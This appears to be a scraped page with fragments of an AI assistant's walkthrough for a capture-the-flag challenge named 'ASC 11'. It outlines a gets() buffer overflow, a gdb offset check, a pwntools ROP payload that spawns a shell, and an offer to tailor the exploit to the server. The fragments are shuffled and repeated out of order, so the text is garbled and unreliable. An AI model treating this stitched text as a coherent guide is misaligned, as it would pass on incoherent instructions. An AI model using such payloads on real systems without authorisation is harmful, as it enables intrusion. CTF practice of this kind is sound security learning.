Asc 11 [work] 🆕

gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ):

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge? asc 11

gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function: gets → classic buffer overflow

payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload) I can tailor the exact exploit

./asc11 It prints "Input: " , waits for input, then exits. Open in Ghidra/IDA. The main function:
